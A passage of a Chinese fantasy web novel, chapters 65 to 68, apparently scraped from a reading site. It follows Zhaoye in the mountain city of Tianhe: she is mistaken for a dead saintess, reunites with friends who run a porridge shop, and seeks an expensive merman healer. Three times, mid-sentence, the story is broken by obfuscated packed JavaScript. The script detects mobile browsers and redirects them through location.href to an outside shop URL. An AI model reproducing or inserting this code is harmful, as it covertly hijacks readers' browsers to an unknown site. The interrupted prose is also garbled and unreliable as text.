"哦?"星允挑眉,"既然如此,此人便交由城主处置。如今天翮既归仙界统辖,有仙帝庇佑,想必定能选出新任圣司,以安民心。" "谨遵仙谕。"宏音躬身行礼,"定不负仙帝厚望。" 就这样,我竟如此轻易地脱离了星允的掌控。正当我以为重获自由时,宏音却示意侍从将我"请"上马车,一言不发地朝着天翮城驶去。 在纷扬的尘雨中,我终于得以看清这座古城的全貌。 就如书中描述那样,这是一座镌刻在翮山之上的、不断向上攀爬的城池。从山脚熙攘的、略带凡俗气息的市集,到山腰错落有致的石制居所,再到越往上越显肃穆与空灵的祭祀区域,八条朝月之路与全部建筑都指向同一个终点——山顶的玉轮湖。 灰色的天幕低垂,将整座翮山笼罩在一片湿冷的朦胧之中。这并非寻常的烟雨迷离,而是一种带着重量的、污浊的雨幕。遥远的山影在雨中显得模糊而孤独,如同一只蛰伏的、湿透了羽毛的巨鸟。 天翮,一只匍匐在地上,却望着月亮的古老民族。 "玉轮湖是我族圣湖,承载月辉之力,也是圣司大人的居所。"宏音的声音从身后传来,平淡得如同在背诵典籍。 “我曾在一本叫做《太愚行纪》的书中读到过。”我忍不住接话道,“玉轮湖若从九天之上俯瞰,更像一枚镶嵌于群山之冠的、活着的月亮。因湖水中蕴含的奇异矿物与仙力法阵,可以与天空中的明月产生共鸣。是真的么?” 宏音闻言,神色有些晦暗,“嗯,你倒懂得多。玉轮湖会随着天上月亮的朔、望、弦、晦,发生变幻。若机缘巧合,或可窥见神迹。” 我连忙摆手,小心翼翼瞄一眼严肃的男人,不知为何手心竟出了冷汗,“宏音大人,抱歉,我之前为了摆脱星允上仙的控制,迫不得已才……才编了谎话,其实这枚信物——” 话音未落,宏音已竖起食指抵在唇前,阖目不再言语。 马车缓缓驶入城中,沿着朝月道盘旋而上。粗粝的白色石阶被雨水浸染成深灰,宛如一道自天际垂落的冰冷瀑布。透过摇曳的珠帘,天翮城的轮廓在我眼前渐次清晰。 这条通往翮山之巅的主道宽阔平整,两侧建筑依山势层叠而立,皆以质朴的白石垒就,隐现于苍翠林木之间。最特别的是屋檐的设计——并非寻常的飞檐翘角,而是雕琢成凌厉上扬的羽翼形态,在迷蒙雨幕中仿佛下一刻就要振翅高飞。 长街上一片熙攘。尽管细雨绵绵,依旧人潮涌动。商贩在镌刻月纹的石拱廊下支起篷帐,叫卖声、铁匠铺的敲击声、行人的脚步声与雨水的淅沥交织成这座圣城最鲜活的生命律动。 然而,当我们这辆烙着硕大新月徽记的黑色马车缓缓经过时,喧嚣仿佛被无形的手骤然抚平。 不需要任何号令,所有人在看见车驾的瞬间都自发停下手中活计,敛起闲适神情。行人如潮水般退至道旁,恭敬垂首致意。待车驾行过,一切又恢复如常,再无人投来多余目光。 "看来这位聆月使很受敬重呢。"不知何时,尾巴偷偷溜出来,藏在我发丝间,也张望着珠帘外,恨不得将脑袋也伸出去,好看个尽兴。 "怎么办?他好像不打算放我走。"我努力压低声音,偷偷看了一眼依旧闭目养神的男人,见他并不理会我,才继续贴近尾巴道,"一会儿瞅准时机,咱们就溜走。" “我都有些好奇了,你究竟有几分像棠梨。不过看他方才的神情——”尾巴大笑起来,“好似因‘棠梨’变胖而一时没认出来,哈哈哈。” “讨厌,要你说风凉话。”我拍了尾巴一掌,他却顺势黏在我指尖,像在暗示我多抚摸抚摸他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549531|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不知走了多久,马车在玉轮湖下一层的平台停稳。与上方圣湖的旷远不同,这里的气氛沉静而内敛。 这里便是宏音的居所——并非华美宫阙,而是一座依山开凿、用白色垫石精心砌筑的方正建筑。冷硬的线条,分明的棱角,几乎不见多余装饰,宛如嵌入山体的默然巨岩,与主人不苟言笑的气质如出一辙。 依旧没有放我离开的意思,宏音抬脚走进巨大的石门,而身着墨蓝轻甲、披着羽纹斗篷的天翮军战士无声催促着我跟上去,一言不发,严肃又吓人。 石头庭院中,古老的绿树蓊郁葱茏,枝叶在山风与微雨中发出沙沙的声响,倒是为这片肃穆之地增添了几分生机。 沿途所见侍卫皆眼神锐利,气息沉稳,如同雕塑般伫立着,几乎与周围环境融为一体,规整、冷峻、不容逾越,简直让人不由自主屏住呼吸,心跳都快停止。 我本能有些惧怕这样的氛围,快走几步,却不小心撞到停下脚步的宏音身上。只听他浑厚深沉的嗓音幽幽传来,“月终,带她下去歇息。” 我揉着被撞疼的额头,从宏音背后探出头去。 只见名为月终的女子正垂首立在洁白的石柱前,而她身后,跟着几个同样素净的女子。 与众不同的是,月终的衣着要更为特殊一些,她身着雪绡长裙,裙摆上仅以银线勾勒出几道象征月痕的流线型暗纹,行走间如涟漪微动。毋庸置疑,这女子是极其貌美的,上次我为美丽心颤,还是洞悉环琛的庐山真面目时。 月终的肌肤是常年不见日光的、近乎透明的白皙,细腻得仿佛上好的冷玉,她的五官精致得不太真实,虽每一笔都恰到好处,组合在一起,却形成了一种非人的、缺乏鲜活气息的完美。与环琛那种娇憨灵动、充满生命张力的美截然不同,甚至与素雪那充满小女人占有欲的美,也完全不同。 月终微微抬眸,目光落在我脸上时闪过一丝几不可察的疑惑,随即欠身应道,“遵命,聆月使大人。” 我见宏音要走,连忙拽住他的袖角,“宏音大人,我,我就不烦扰您了,您看,我能……我能走了么。” 肃穆的男人扫我一眼,道,“不急,信女掌事会引你沐浴、更衣,然后我们再来谈谈——你盗取羽婆的月信吊坠,意欲何为。” 弄名其妙从仙界的“阶下囚”变成了天翮城的“小偷”。时隔半年,我稀里糊涂醒来,稀里糊涂来到了天翮城,稀里糊涂被侍奉月翮圣女的信女们扒光,“请”进了乳白色、冒着白气的浴池里。 “掌事大人,我没有偷羽婆的吊坠,说来有些复杂,但——” 冷若冰霜的女子不为所动,似是不闻,只默然吩咐了一句,“汀汀,将她里里外外上上下下洗干净。” 随即,赤身裸体,名叫汀汀的信女步入池中,开始帮我搓澡。 我此刻身无寸缕,见辩解无用,索性闭目享受起搓澡服务。池水冰冷刺骨,反倒中和了我体内过于充盈的仙力,带来一阵难得的舒爽。 可汀汀就惨了——她冻得面色发青,整条手臂连同牙关都不住颤抖。 "要不……我自己来?"我试探着小声提议。 谁知静立一旁的月终冷嗤一声,"无用之辈,连这点寒意都受不住,还妄想成为信女?" "抱歉,月终大人!"汀汀慌忙应声,"我、我会更加努力的!" "努力?"月终语带讥讽,"资质平庸,愚钝粗陋,再怎么努力也是徒劳。趁早归家才是正途。" 汀汀挨了训斥,双目噙泪,手上不自觉用了劲儿,差点给我搓掉一层皮。可我不敢多言,只能默默忍着。 在众目睽睽之下被洗净后,我并未等到合身的新衣,只得重新穿上旧衫,跟着汀汀穿过冰冷的雨廊,来到一处可以俯瞰山下景致的房间。她迅速合上门扉,示意我在此休息。 睡意全无,我趴在窗边怅然叹息。虽说是搭顺风车来到了天翮城,却没料到会失去自由。 想到此处我不由咬牙切齿——那条可恶的黑背蛇,竟敢暗算我! 66. 第 66 章 也不知阿烈、浩哥、未生和盛放如今怎样了。从星允与溟牙先前的对话推断,仙界接管化西、天翮二城后,正在全力搜剿怪物的卵壳。 这倒是一桩好事——阻止无相孽死灰复燃,也算没有辜负舒仲、舒岸两兄弟的牺牲。 想到这里我心头一痛,泪水不自觉滑落,惊醒了沉睡的尾巴。 他窜上我的肩头,捧住我的脸颊,轻轻舔去我温热的泪珠,还咂了咂嘴,"是不是又想青莲了,照夜?" "嗯,当然想。"我哽咽道,"但我们都有必须完成的使命。" "别哭别哭。"尾巴柔声劝慰,"你心绪波动太大,我都很难把仙力压缩进仙丹了。" 我将脸埋进尾巴温暖的光晕里,小声问,"我是不是很没用?明明舍不得小青,却要故作懂事任他离去。可我害怕我的挽留会让他进退两难……我想他快乐。” “别哭别哭,乖。再给青莲一点时间,也给自己一点时间,等咱们办了事儿,就去灵璧城把他找回来,大不了咱们也偷偷藏到长烬海渊去,这样就不会在你将仙力让渡给他时,惊动仙界那些不怀好意的家伙们。” 我抽抽搭搭地停下哭泣,认真问道,"可万一在长烬海渊碰到钩星,岂不是很尴尬?" “这个嘛……万一他们不介意共同拥有你呢?” “啊!可恶的尾巴,你在说什么!”我大惊失色,捶了尾巴一拳。 尾巴大笑着抱住我的拳头,声音里满是戏谑,"哎呀呀,咱们四个不是早就这样那样过很多回了嘛,何必见外呢?反正尾巴我先表个态——我一点都不介意。" 我本伤心欲绝,结果却被尾巴不正经的一句话逗笑了,心里好似又没那么堵得慌。 不轻不重将尾巴蹂躏一通,我躺在床上计划起了接下来的事儿。 平心而论,我现在的处境并不算太糟。 化西和天翮两城已经开始防范无相孽卷土重来,我也顺利抵达了目的地。只要找到桃夭神医,这趟旅程的任务就完成了一大半。 虽然被宏音误认为是小偷,但托棠梨的福,至少没受到苛待,反倒被照顾得相当周到。 当务之急,是要堂堂正正地恢复自由身,尽快与未生他们会合。 然而计划虽好,宏音却迟迟没有召见我的意思。 住进这座石院的这些天,我听得最多的就是月终没完没了的训斥。万万没想到,这个容貌绝美的女子,言辞竟如此尖刻。负责照料我的信女们无一幸免,尤其是尚未正式受封的汀汀,几乎每天都会被骂得狗血淋头。 就连我这个无辜的旁听者,都快受不了想找个洞钻进去。 这不,这天一大清早,只因为给我编的发辫歪了一分,汀汀又被月终训得眼圈发红,只得一遍遍拆开重梳。好不容易编整齐了,又因手法不够轻柔被勒令返工。 就这样,我竟被迫在镜子前坐了一上午,屁股都坐得发麻。终于,月终因事离开,我和汀汀才如获大赦。 我趴在床上,心想月终脾气这么大,会不会是因为不满我滞留在此。毕竟她们可是只侍奉月翮圣女的信女们,身份特殊,绝不会自降身段照顾我这个外人。 听完我的疑问,汀汀眨巴着红肿的大眼睛,嗫嚅道,“圣司大人,是我粗笨,您不怪罪我已是仁慈……但,但我想成为信女,获得真正侍奉您的资格,请严格要求我,我一定会努力做好!” “啊?可我,我不是什么圣女,我叫照夜!” "可宏音大人吩咐,要以侍奉圣女的礼制来侍奉您呢。"汀汀认真地看着我,"您就是圣司大人。" 我顿感眼前一黑。怪不得这几日不见宏音,且这些信女对我的照顾已经到了无微不至的程度:就连洗脸都要用极柔软的丝巾帮我仔细擦过。 我有些坐不住了,打定主意要去见宏音,还没跑出门,就被两个捧着乌木盘的漂亮小丫头给拦了回来。 汀汀仔细检查过托盘里那套银白与鹅黄交织的长裙,含笑请我换上。 我原本满心烦躁,却在触碰到衣料的瞬间怔住了——那触感轻盈柔软得不可思议,仿佛捧着一团月光与霞光织就的云霞。 直到汀汀小心翼翼为我更衣时,我才真正体会到这衣衫的神奇。 丝缎在接触肌肤的刹那仿佛被赋予了生命,经纬微妙地自发调整,如同第二层肌肤般精准贴合我因仙力而"膨胀"的曲线。从领口到胸腰,每一处都恰到好处,舒适得像是经年累月量身定制而成。 我心中惊诧,仔细端详这隐隐泛光的华服,月白底料上,无数极细的银丝与金丝交织生辉。银丝流淌着清冷月辉,金丝闪烁着温润晨光,二者交融成如水波般流动的光晕—— 天哪,这竟是银蚕与金蚕所吐的云光丝!是即便在仙界也价值连城的织料。 此丝不仅光泽独特,更具灵性,能随身形变化永保合身。更因丝线本身至柔至坚,看似轻柔无物,实则如软甲般刀剑难伤,便是仙法攻击亦能抵消大半。 穿上这套衣服,我甚至觉得,镜子中的自己虽然臃肿,但是——好看极了! "宏音大人这几日都在亲自监督信女们赶制这件新衣呢。"汀汀轻声赞叹,见我怔忡,掩唇浅笑,"果然很衬您。他正在等候,请随我来。" 接连下了几天雨,天终于放晴,我惊喜地看到阳光在身上流转停滞,像蜜蜂为群花倾倒般流连忘返。 说我此刻不开心那一定是假话,有谁会不喜欢如此用心珍贵的礼物呢。 虽然我与送礼之人只前后说过不到三句话。 肃穆的石厅里,微尘在光影下轻舞,数日不见的宏音正绷着脸等着。他好似有些疲惫,以手支颐,双眸微垂,见我来了才恍惚抬起眼看来。 逆着光,我竟然从这个并不相熟的男人眼中看到了一丝欣喜和怀念。 我此刻也明白了,宏音看着的是早已故去二十多年的棠梨。 “如何,可还合身?”男人缓步走近,许是今日阳光明媚,令他的表情不那么生冷,"衣衫总要舒适合宜。若领口束得喘不过气,不如改作方领,也很端庄。" “多谢您,只是无功不受禄……照夜实在不敢收下这份厚礼。” 真难理解,为何上一秒温柔和煦如暖风的男人,转眼便能说出如此冰冷的话。 “那便展示你的诚意,去赢下圣女选拔大赛,堂堂正正成为天翮一族的圣司大人,成为新一任——月翮圣女。” 我瞬间敛起笑意,瞪向这个负手而立、没什么表情的中年男人。 可恶,这是个圈套,这个人在敲诈我。 “宏音大人,这,这是个误会,我只是受羽婆临终前所托,将遗物带回。所以那遗物并非我‘偷走’,我也无心参加什么选拔大赛。我知道自己与棠梨皇后有一丝丝像,但,但我不是她,我叫照夜。” “那又如何?”宏音微微侧首,径自向门外走去,“我自然知晓这新月坠并非赠你。此物本是羽婆为劝说阿迪纳之女阿糯参选圣女,特地带去归德的信物。” 我连忙跟上宏音,只见他朝着后院走去。沿途遇见的信女与侍卫纷纷躬身行礼,对这位聆月使的敬重之情溢于言表。 “啊?可,可羽婆却没把信物交给阿糯……而且,归德城已……没有活人了。” “嗯,我知道。”宏音的声音平静得令人心惊,“无相孽之灾让整座城池生灵涂炭。无论仙界如何掩盖真相,无论人界怎样篡改历史,都无法将染血的事实粉饰成太平。” 我心下一紧,快步跟上那个挺拔的背影,“您是不是见过未生了?” 穿过规整的石筑院落来到宅邸最深处。沿着古朴石阶向上攀登,我们竟来到了翮山最顶部。 只见在面向玉轮湖的一侧,一方精巧的露台凌空探出。与其他地方的粗犷风格迥异,这里的石栏被悉心打磨得圆润光滑,不见半分棱角。 而在露台一角,背风避雨之处,竟摆放着一套小巧而精致的白石桌椅。 令人意外的是,桌面上刻划的,不是天翮一族的徽记,而是一副略显陈旧的、刻画着玉轮湖与明月的小型棋盘。桌角,还静静躺着一只巴掌大小、用洁白石头雕成的、形态稚拙的小兔子。 “嗯,不过未生他已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549532|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开了,在仙军抵达之前。”宏音拂去石凳上的落叶,“毕竟是重金悬赏的要犯,还是在地下活动更为稳妥。” 我狐疑地盯着宏音,心里嘀咕,看来这个深藏不露的男人所知道的,远比看上去多。 “坐。”宏音示意道,“今日天光正好,适合赏湖景。” 我只得在石桌旁落座,不知不觉间,后背已沁出薄汗。 宏音轻抚着石兔的耳朵,目光却始终锁定在我身上,“可擅弈道?” “回大人,虽学过几次,始终不得要领。” “无妨。”宏音执起一枚浑圆的墨玉棋子,“棠梨也不擅此道,即便教过她千百回。” 我尴尬地笑了笑,却见宏音已经落下一子,并用眼神示意我行棋。 “听我指挥,落子,照夜。”不知何时醒来的尾巴贴在我后颈上,沉声道,“让我试试这聆月使的本事。” 真是令人窒息,我竟被迫在尾巴的指挥下与宏音下起了棋。 尾巴难得这般全神贯注。虽不能亲见棋盘,却与对方你来我往,杀得难分难解。不知过了多久,竟是尾巴赢下了这局。 宏音的神情从最初的从容,渐转为专注,继而凝重,最终化作难掩的惊诧。对弈结束后,他竟一言不发地复盘起方才的棋局,完全沉浸其中。 我如坐针毡,寻了个借口溜下高台。 趁四下无人,我提着裙摆闪身躲进林中。此刻我哪还有心思欣赏慕名已久的玉轮湖潋滟风光,满脑子只想着摆脱宏音这个深不可测的男人。 不过身体不允许我天真,才跑出几步,我便气喘吁吁停下。 尾巴从我脚踝灵巧地游上肩头,光晕里满是赞叹,“哇,好合身的衣裳,将你的优点勾勒得恰到好处,又巧妙遮掩了不足之处。漂亮的屁股,漂亮的香瓜,啧啧,漂亮的小腰,不得不说,宏音的品味不错嘛。” “讨厌,还有心思说这些!他敲诈我,送套衣服给我,就想逼我参加什么圣女选拔大赛!” “……笨蛋,你急什么,你又选不上。” 听尾巴这么一说,我连忙将他抓到眼前,逼问,“为何我选不上?因为我现在长胖了?” "雅艺四道、容止风仪、清音文试——光是初赛就有十二项比试。"尾巴轻笑着蹭过我的脸颊,"就凭你这个小笨蛋,初赛就会被光速淘汰,真不知你在担心什么。" "天啊,这比选天妃还严格。"我不禁咋舌,"棠梨当年竟如此优秀?" "所以根本不必慌张,你毫无胜算。"尾巴欢快地贴上我的唇瓣,深深吸气,"哇,好香的味道,是我最爱的花香。" 我便干脆在尾巴身上亲了几大口,与他分享一下这贵客才用得上的口脂,“说是掺了月羽花的花露,是很香啦。” "嗯,有种令人怀念的香气。"尾巴缠绕着我的发辫,望向远处静谧的玉轮湖,轻声叹息,"可惜,月羽木早已枯亡了。" 我顺着尾巴的目光望去,心头猛地一震——在典籍中、在梦境里出现过的那株,与天同高的月羽木,其实并不存在。 “照夜。跑得还挺快。” 我被来者吓了一跳,肩膀重重一颤。刚一回头,便见宏音以迅雷之速捏住黏在我发丝上的尾巴,几乎将其捏得从指缝中流淌下来。 “这是什么。” 我急得连忙去掰宏音的手指,忙不迭将尾巴夺回来塞进了青莲瓶中,“是,是我养的小宠物,是……嗯,变异的小老鼠。” 宏音搓了搓指尖,鼻间逸出一声轻叹,"不准饲养小动物,会染上自言自语的毛病。若要养,便交由信女照看,定期探看即可。" “……虽然与你无关,但我不会和尾巴分开,这辈子都不。”我有些反感宏音强硬的语气,皱着眉离远了一步,紧紧捂住青莲瓶,继续道,“再说一次,我是照夜,不是棠梨,我只是来归还羽婆的遗物。多谢你之前为我解围,但……我要离开了,我还有很重要的事做。” 闻言,这个肃穆刻板的中年男人一怔,像是幻梦被戳破一般清醒过来,就这么一言不发看着我头也不回地迅速跑开。 67. 第 67 章 沿着来路返回寝屋,我毫不犹豫地换下了那身华美的衣裳。汀汀困惑地看着我忙前忙后,直到我要离开大门时,才大惊失色拦住我,“您,您不能离开!” “我又不是你们的囚犯,我当然可以离开!” “不行,掌事大人说可以之前,就是不行。” 没想到汀汀看上去文文弱弱,力气还真不小,抱住我的腰不松手,我竟一丝反抗的力气都没有。而那负责站岗的天翮军就更诡异了,只是旁观着我和汀汀拉扯,并不上前劝阻。 动静还是引来了月终。她冷冷扫过汀汀,“住手,这般失态,成何体统。” “掌事大人,她……她要走。” 月终拧着秀眉绕着我踱步半晌,语带讥诮,“不过是个仗着与圣司大人有几分相像就想招摇撞骗的家伙,早该逐出门去。留她白吃白住这些天,不过是——成全咱们聆月使那点怪癖罢了。” 随着那个冷面男人负手走近,我敏锐地察觉到空气中弥漫的火药味。汀汀则连忙松开我,毕恭毕敬称呼一声“宏音大人”,退至一旁。 “你可以走了,照夜。” 宏音话音未落,月终已冷笑一声拂袖而去,“真是无趣,可笑至极!” 虽不明就里,但我终于重获自由,便像出笼的鸟儿般雀跃着离开这座石砌的宅院,很快没入熙攘的人群。 我正盘算着如何寻找浩哥和阿烈,忽见一只黑乎乎的小狗灵巧地穿梭在人流中,直直奔我而来。 许久未见,我开心至极跑向焉耆,在这依旧臭烘烘的小狗扑向我时,一把将它抱起,“臭小狗,想我了吧!” “嗷呜—嗷呜—” 尾巴被焉耆舔了几口,甩着脑袋抱怨道,“焉耆说,你是个没良心的主人,还以为你不要它了。” 我抱起焉耆,扒开它的嘴巴认真闻了闻味道,“……怎么又是腌咸鱼的味道,我不在,怎么又乱吃。” 焉耆兴奋地摇着尾巴,带着我在高错落的街巷中穿梭,很快,我们下到山脚,在南侧集市停下脚步。 我望着隐约散发出一股特殊气味的招牌,皱起了眉,只见那眉间有一道刀疤的男人正在叫卖店里的招牌美食,引得过路人频频驻足。 ——浩烈特色咸鱼粥? 只见不大的铺子里座无虚席,盛放正利落地端菜斟茶,忙得团团转。焉耆熟练地在各桌底下穿梭,蹭着食客们的裤腿。令人称奇的是,每位大快朵颐的客人都会俯身摸摸它的小脑袋,无一例外。 这情形着实诡异,就连见多识广的尾巴都连连惊叹:这三人一狗竟分工明确热火朝天做起了买卖。阿烈收银,盛放端菜,浩哥想必在后厨掌勺,而焉耆……负责讨好食客? “哎哟喂!大姐头,可算把你盼来了!”阿烈眼尖,老远就瞧见我的身影,一个箭步冲过来,拉着我往店里走,“前些天焉耆就躁动得不行,八成是远远嗅到你的气息了。瞧瞧,这不就找着了!” “小胖妞!!”盛放闻声抬头,茶壶往桌上一搁就迎上来,热络地按着我坐下,朝后厨亮开嗓子,“来碗招牌蟹黄粥——” 浩哥从厨房探出脑袋,黝黑的脸上绽开惊喜的笑容,“好嘞——特制豪华美颜养生蟹黄粥一份——” 不多时,一份热气腾腾香味扑鼻的蟹黄粥端到我面前,尝了一口,竟一点也不腥,反倒鲜得令人眉毛一颤。 “你可算来了!”盛放边利落地收拾邻桌的碗筷,边扭头对我说,“再晚几天,可就赶不上报名了!快吃,下午我带你去报名参赛!” “啊?我是来找神医的,才不参加什么圣女选拔。” “问题就出在这儿。”正值午市最忙的时辰,盛放叹着气给我续了杯浓茶,转身又去招呼客人,“等忙完这阵再细说。” 三人一狗就这么忙活到午后,才终于停歇下来。 焉耆像是因“左右逢源”累坏了小小的脑瓜,奋力摇着尾巴送走最后一位食客,便便跳到我腿上,寻了个舒服的姿势,倒头就睡。 我这才注意到三人穿着同款黑色衣服,且都用红线在后背绣了极其惹眼的两句宣传语: 一碗咸鱼粥强身健体 三摸神兽首好运长留 而正面则是浩烈特色咸鱼粥铺几个大字。 我算是明白为何来喝粥的食客们都要摸摸焉耆的脑袋,就差把它给摸成了秃顶。 原来是图个吉利。 “咱们也没啥本事,总要吃饭操心生计,就开了间咸鱼粥铺子,也攒点钱,想着等你来了有钱用,毕竟看大夫,可真贵呀。”浩哥摇头叹息道,“比去映山都的高价船票贵不知哪儿去了。” “干他娘的,那等黑心大夫,就该直接上些手段!”阿烈愤愤拍桌道。 盛放白了阿烈一眼,嘟囔道,“这可是天翮城,你敢惹事,小心聆月使大人砍你的头!” 我看着三人,问道,“你们见过桃夭神医了?” 盛放这才将当时与我分别后发生的事情娓娓道来。 当初盛放与浩哥有焉耆引路,很快便抵达了天翮城。他们顺利见到了城主宏音,也打探到了桃夭神医的所在。只是——这位神医因医术超绝,不仅问诊需排长队,出诊费更是高得惊人。 后来未生与阿烈解决化西城的危机后赶来会合,将归德城覆灭的真相与化西的遭遇悉数告知宏音。这位聆月使当即下令全城搜查,总算及时布下了防范。 只是至于请不动神医的难题,连未生也束手无策。恰逢仙界接管三城,他只得先行离开另谋他法,留下三人在此等候我的到来。 听闻此言,我心急如焚。若请不动神医,牧狸该怎么办?不行,无论如何,总要请神医亲自诊视过才行。即便要倾尽所有,也定要救回青莲山大师姐的性命。 打定主意后,下午便由阿烈领我去会会这位桃夭神医。 在翮山半山腰,我们终于找到了桃夭医馆。令人震惊的是,馆外人龙蜿蜒,一眼望不到尽头,颇有当初青莲丹铺的排队盛况。 我有些发愁,这么排队,轮到我都猴年马月了。 阿烈到底是见识多,懂些门道,拉着我径自走向队伍前列,佯装急症求医。很快便有人将我们引到一旁的小巷,主动表示愿出让排队位次。 于是阿烈熟练地掏出五千利衡币,换得了前排位置。只需短短半个时辰,我就可以见到神医。 事情发展到这个地步,我已隐隐生出了不详的预感。 忐忑不安等待着,终于在半个时辰后,我见到了这位极富盛名的神医,桃夭。 我曾设想过桃夭的模样,医术超凡,必然是修仙之人,哪怕是魔族,修为也必定不浅,可能是他,可能是她,可能是老者,少女,又或者如蚕豆豆一样保持着孩子模样,却唯独没想到,这传说中有起死回生之术的神医—— 是鲛人。 "怎么又是你。"耳后残留着透明鳞片的女子只瞥了阿烈一眼,便示意助手送客,"我已说过多次,看病需按规矩排队。" 看样子先前,阿烈他们就已来求过数次了。 "神医,"我急忙上前,"我大师姐命在旦夕,若再不得救治,必死无疑!" 桃夭冷嗤一声,对我的恳求无动于衷。她慢条斯理地拉开身后的布帘,浓烈的药味扑面而来。我怔怔起身,望着榻上那些奄奄一息的病患,震惊得说不出话。 “来找我的人,哪个不是生死一线,再说一次,要么排队,要么加钱,听清楚了么。”说着桃夭示意助手退还了阿烈五千利衡币,转身便要继续去医治患者。 “神医,你要多少钱?” 我面前,那位摘下遮面巾的助手伸手拦住我,而桃夭已拉上垂帘,再不理会我的恳求。 “一百万定金。若治得好,再加一百万;若无救,定金分文不退。” 这惊人的大数字震得我脑中嗡鸣,“这、这么贵?” 上下扫我一眼,这同样是鲛人的年轻助手蔑笑一声,“一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549533|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百万换你师姐一线生机,不划算么?正好,每日求师傅救命的人本就多如过江之鲫,你若舍不得钱,不如打道回府操办后事——那条路,花不了几个子儿。” “你!”阿烈猛地蹿起,一把揪住对方衣襟,“医者当怀济世仁心,你们竟——” 忽然,尾巴窜出来,趴在我头顶盯着这双目忽然放光的鲛人。 下一刻,阿烈像是握了千针般立刻松开手,只见他手不断颤抖,痛得龇牙咧嘴。我仔细一看,阿烈手心竟有无数近乎透明的毛刺。 “无悔,速来帮忙。”帘后传来桃夭冷淡的嗓音。 “是,师父!”名叫无悔的男人理理衣领,撇撇嘴道,“放心,无毒,用烈酒浸泡两刻钟,刺便会脱落。” 铩羽而归。阿烈拿出自己珍藏的花水烧酒泡手时,用不重复的脏话将那对神医师徒骂了三百六十遍。 浩哥则趁休息时又去附近街坊邻居那儿打听了一番,言道桃夭虽医术高超,有起死回生之术,但为人就是这么冷漠刻板,习惯了就好。 至于盛放,她匆匆从外回来,带来了高利贷的报价,一百万利衡币,利息三成,半年付清。 情况不容乐观,我沮丧地瘫在角落发起了呆。盛放则安慰我实在不行再去找高利贷砍砍价,若真走投无路,那就只能走邪路了。 说老实话,不到迫不得已的地步,我都不想再在仙界的地盘上罪加一等,毕竟灵璧城这个地方,我过段时日还得再去一趟。 未至黄昏,咸鱼粥铺又迎来晚市喧嚣。望着焉耆摇尾讨好客人的模样,我心头发涩。自知帮不上忙,我便索性借口散步出了门,免得徒添忙乱。 傍晚余晖下,天翮城浸染在漫天霞光中。家家户户次第亮起月灯,自山脚仰望,灯火如星轨蜿蜒,蔚为壮观。沿着台阶上上下下,我不知不觉逛到了位于半山腰的大广场。只见许多梳着飞月髻的信女正在人群中穿梭,分发册页。 我好奇接过一观,竟是《月翮圣女选拔初赛参赛指南》。 闲来无事,我便坐在树下,就着橙光的灯光,细细翻阅起来。 这不看不知道,一看着实令我心头一惊——月翮圣女的选拔竟繁复至此。正如尾巴所言,初赛便设有“雅艺四道、容止风仪、清音文试”共计十二道关卡。指南上也详述了考核内容,琴、棋、书、画为雅艺四道;行、立、坐、卧属容止风仪;诵、辩、文、面则归清音文试。 而这仅仅是初试,实在难以想象决赛又将何等严苛。 尾巴说得没错,我的担忧确实多余。这十二道考题中,即便是我自认尚可的“文”,恐怕也难获一分——因考核范围涵盖《月翮本纪》《太阴星经》《天翮族谱》及历代圣女言行录,要求对年代、地名、人名、仪轨细节都精准掌握。 而以上书籍,我皆未看过。 真是令人无语,为何要考察圣女言行录,意义何在? “你也想参赛?” 我闻言一抬头,有些意外这鲛人出现在我面前。 桃夭的徒弟,无悔。不亏是鲛人一族,夜色中他的肌肤泛着柔光,连睫羽都缀着星辉般的碎芒。我不由感叹,即便是男性鲛人,也自带一种清冷出尘的美感。 一想起穆青迫不得已要与同身为鲛人的凤琤公主走近些,我心里又一阵焦躁不安。 “我就不凑热闹了,尚有自知之明。” 无悔轻笑一声,抽走我手中的指南,随手翻阅两下,低声道,“真是可笑,月翮圣女本职是感应月辉、庇佑族人,有这本领不就得了,竟连就寝姿态是否安雅、有无鼾声梦呓都要考评,简直滑天下之大稽。” 前几日因我睡觉随心所欲,月终便狠狠训斥不作劝诫的汀汀。现在想来,敢情是在指桑“训”槐,暗示我不配信女们侍奉。 “那我更不能参加了。我爱说梦话,偶尔还会打呼噜。” “给你。”无悔将一只小巧药瓶抛向我,“涂抹两次便可止痛。”说罢转身欲走。 68. 第 68 章 我接住古朴的陶罐微微一怔,急忙追上前,“无悔,可不可以请你帮帮忙,哪怕只是请桃夭神医去看一眼……我大师姐的仙丹就快崩解了,之前因各种各样的事延误了治疗,我甚至……甚至不知她是否还活着。” “因何事耽误?”无悔突然驻足回眸看来,那双明亮的眼眸中流动着犹如澜歌树一般的光芒。 “……” 